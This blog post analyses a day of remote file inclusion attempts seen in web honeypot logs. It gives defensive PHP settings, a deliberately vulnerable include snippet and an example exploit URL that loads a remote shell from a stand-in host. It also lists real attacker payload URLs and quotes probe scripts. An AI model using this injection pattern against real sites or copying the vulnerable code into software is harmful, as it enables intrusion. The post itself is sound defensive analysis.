AppSec Blog

Weathering the Storm Part 2: A Day of Weblogs at the Internet Storm Center

Today, we will take a quick look at remote file inclusion (RFI). Based on our web honeypot project, RFI is by far the most common exploit attempt. Most of the vulnerabilities exploited are rather old. But it appears still worthwhile to these attackers to give it a try.

There are a number of simple configuration choices which will prevent exploitation of most of these problems, even if the old software is still install. For example:

  • turn off register_globals
  • turn off allow_url_include

These settings are turned off by default in recent PHP versions. While they do not prevent all RFI exploits, they do prevent the exploits attempted by these simple scripts.

Basic vulnerable code looks like:

<?php
include($file);
?>

The reason for code like this is to provide a mechanism to include a customizable template or configuration file. For example, a user may switch a sites look to use a "green" template by calling the page with

http://example.com/page.php?file=green.php

If the file name is not sufficiently validated, the following exploit is possible:

http://example.com/page.php?file=http://evilexample.com/remoteshell.php

Now "remoteshell.php" will be executed.

For this blog, I cut the URLs from my access log and grepped my for "=http", which doesn't get all attempts, but enough to tell this story. Some common false positive I see with this method are Google analytics parameter passed in the URL, for example from twitter links:

GET /__utm.gif?...utmr=http://twitter.com/&utmp=/diary.html?storyid=8098&rss

(shortened to fit the line)

After accounting for this issue, I was left with 3053 attempts (one day!), and 1548 unique requests.

Next I cut all unique RFI URLs out of the log. The shell command at this point:

cut -f2 -d'"' rfi  | grep '=http' | grep -v 'utmr=http' | sed 's/.*=http/http/'
| cut -f1 -d' '

(the file "rfi" is the result of an earlier grep)

I found a total of 109 distinct URLs people attempted to inject. The top 10 URLs are:

700 http://musicadelibreria.net/footer
288 http://www.hubns.co.kr//data/list/heheh.txt
215 http://www.hot.ee/lf2/fx29id1.txt
191 http://qqe.ru/forum/Smileys/id1.txt
76 http://114it.co.kr/company_upload_file/c
64 http://www.sinhan.net/zeroboard41/data/board/1097820351//id1.txt
60 http://jesus91.or.kr/new/bbs/id1.txt
55 http://www.frentesdeseguridad.gov.co/administrator/backups/image/id1.txt
54 http://www.luomoeillegno.com/extras/idxx.txt
53 http://200.199.242.22/images/.ajim/ajim1.txt

I was able to download 71 of the scripts. About half of them resulted in identical scripts:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

This is apparently just a quick test to see if the site is vulnerable. If successful, the script will insert "FeeLCoMzFeelCoMz" in the site (and I will have to check how inserting this string here will affect these attacks ? )

another essentially identical script

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>,

made up for another 13 scripts.

At this point, I am left with about 20 scripts. Most of them added some system parameters like the output of 'id' or 'df' . The largest one came in at about 200kBytes! It implemented a typical IRC bot. But it appears that the IRC server is no longer functional.

Looking over these bots, there is very little original code. One reason for the prolific exploitation of these vulnerabilities may be the availability of plenty of sample exploit code which is easily implemented by the bottom tier of "script kiddies" who try to enter the "game" and are looking for an easy to execute exploit which requires little effort. Many of the exploit strings attempted appear to be implemented wrong to exploit the targeted vulnerability.

2 Comments

Posted February 2, 2010 at 9:28 PM | Permalink | Reply

jeffatrackaid

About a year or so ago, I cleaned up an RFI based attack only to find the system exploited again. The client had updated their code and removed one application. Adding mod security did not help either.
With some more digging, I found the attacker created a cron job as the apache user and stashed some code inside of another file. The cron job would fire once a day an re-enable their exploits despite the original RFI being patched.
I now add the apache user to cron.deny to prevent this type of follow-on attack.
On large shared-hosting systems, Mod security can be a quick fix until you identify the underlying site causing the issue.

Posted February 14, 2010 at 10:47 AM | Permalink | Reply

Jos

I can confirm that RFI is still heavily used, mostly by the script kiddies but also by some serious hackers, who have rootkits on standby as soon as they gain access. Webservers are good targets as many sites are ''dormant' and the exploit can be used 24/7 for a long time before they are exposed. I managed to download many more scripts, rootkits, etc. Some of these files are located on hacked servers, some are temporarily placed on fileave.com until the bandwidth is exceeded. The website I am monitoring receives on average 75 RFI attacks per day with peaks to over 200. With a special Drupal module all RFI attacks are logged and summarized.

Post a Comment - Cancel Reply






Captcha


* Indicates a required field.